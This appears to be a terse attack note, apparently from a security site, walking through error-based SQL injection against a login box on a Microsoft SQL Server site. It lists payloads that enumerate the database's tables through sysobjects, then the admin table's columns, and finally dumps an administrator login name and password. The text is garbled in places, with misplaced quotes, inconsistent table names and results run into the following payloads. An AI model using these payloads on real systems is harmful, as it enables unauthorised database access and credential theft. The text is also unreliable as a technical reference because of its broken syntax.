Logon box injection notes

1' and 1 = convert (int, (select top 1 name from sysobjects where xtype = 'U') and '1' = '1 first: select top 1 name form sysobjects where xtype = 'U' is used to check whether the user table in the database indicates that sysdiagrams exists. Table 1' and 1 = (select top 1 name from sysobjects where xtype = 'U ') and '1' = '1 sysdiagrams 1' and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams ')) and '1' = '1 table: Commonness continue: 1' and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams ', 'commonness ') and '1' = '1 table: Bargaingo on: 1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain ')) and '1' = '1 table: ValidationReport continue: 1' and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams ', 'commonness ', 'bargain', 'validationreport') and '1' = '1 table: Examine continue: 1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain', 'validationreport ', 'examine') and '1' = '1 table: opinionbook1' and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams ', 'commonness', 'bargain', 'validationreport ', 'examine', 'opinionbook') and '1' = '1 table: projectInformation1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain', 'validationreport ', 'examine', 'opinionbook', 'projectinformation ') and '1' = '1 table: company1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain', 'validationreport ', 'examine', 'opinionbook', 'projectinformation ', 'company') and '1' = '1 table: yinfu 1' and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams ', 'commonness', 'bargain', 'validationreport ', 'examine', 'opinionbook', 'projectinformation ', 'company', 'yunfu') and '1' = '1 table: newsType1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain', 'validationreport ', 'examine', 'opinionbook', 'projectinformation ', 'company', 'yunfu', 'newstype') and '1' = '1 table: adminType1 'and 1 = (select top 1 name from sysobjects where xtype = 'U' and name not in ('sysdiagrams', 'commonness ', 'bargain', 'validationreport ', 'examine', 'opinionbook', 'projectinformation ', 'company', 'infu', 'newstype', 'admintype') and '1' = '1 table: admin1 'and 1 = convert (int, (select top 1 col_name (object_id ('admin'), 1) from Admin )) and '1' = '11' and 1 = (select top 1 col_name (object_id ('admin'), 1) from admin) and '1' = '1 column: ID www.2cto. com1 'and 1 = (select top 1 col_name (object_id ('admin'), 2) from admin) and '1' = '1 column: loginName1 'and 1 = (select top 1 col_name (object_id ('admin'), 3) from admin) and '1' = '1 column: passward1 'and 1 = convert (int, (select top 1 LoginName from Admin) and '1' = '1admin1' and 1 = (select top 1 Passward from Admin) and '1' = '1admin123